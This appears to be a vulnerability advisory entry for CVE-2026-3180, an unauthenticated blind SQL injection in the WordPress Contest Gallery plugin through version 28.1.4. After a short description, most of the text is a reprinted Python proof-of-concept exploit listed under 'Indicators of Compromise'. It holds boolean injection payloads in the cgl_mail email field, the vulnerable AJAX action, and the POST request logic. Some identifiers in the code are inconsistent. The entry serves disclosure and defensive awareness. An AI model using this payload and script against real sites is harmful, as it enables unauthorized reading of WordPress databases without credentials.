WordPress Contest Gallery plugin versions 28. 1. 4 and earlier contain an unauthenticated blind SQL injection vulnerability. The issue arises from unsafe handling of the cgl_mail parameter, where sanitize_email() does not remove single quote characters in the local part of email addresses. This allows user input to reach the WordPress database query function without proper parameterization, enabling boolean-based blind SQL injection attacks without authentication. Exploit code is publicly available in Python. No official patch or vendor advisory is currently provided.

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Indicators of Compromise

• exploit-code: # Exploit Title: WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection # Google Dork: N/A # Date: 2026-06-02 # Exploit Author: cardosource # Vendor Homepage: https://contest-gallery.com/ # Software Link: https://wordpress.org/plugins/contest-gallery/ # Version: <= 28.1.4 # Tested on: Docker - PHP 8.2/Apache + MariaDB (WordPress Environment) # CVE: 2026-3180 """ Description A Blind SQL Injection vulnerability exists in Contest Gallery versions 28.1.4 and earlier. The issue is caused by the unsafe use of the cgl_maili parameter, where sanitize_email() preserves the single quote (') character in the local part of an email address. As a result, user-controlled input reaches wpdb->get_row() without proper parameterization via prepare(), allowing unauthenticated attackers to perform boolean-based blind SQL injection. Authentication Required: No """ import requests import json NONCE = " " URL = "http://localhost:8080/wp-admin/admin-ajax.php" endpoint = "/wp-admin/admin-ajax.php" url = "http://localhost:8080/" payload = "'OR/**/1=1#@teste.com' and 'OR/**/1=2#@teste.com" def send_payload(mail): data = { "action": "post_cg1l_resend_unconfirmed_mail_frontend", "cgl_mail": mail, "cgl_page_id": "1", "cgl_activation_key": "", "cg_nonce": NONCE, } return requests.post(URL, data=data) r_true = send_payload("qualquer'OR/**/1=1#@teste.com") if r_true.status_code == 200: status_code = r_true.status_code banner = f""" CVE : 2026-3180 | Contest Gallery 28.1.4 : Boolean SQLi payload :........................{payload} end point :........................{endpoint} url :..............................{url} status :...........................{status_code} nonce :............................{NONCE} """ print(banner) print(f"Body length: {len(r_true.text)} chars") poc =f'''\nmariadb wordpress_db -e " SELECT * FROM wp_contest_gal1ery_create_user_entries ORDER BY Tstamp DESC LIMIT 1115;"''' print(poc)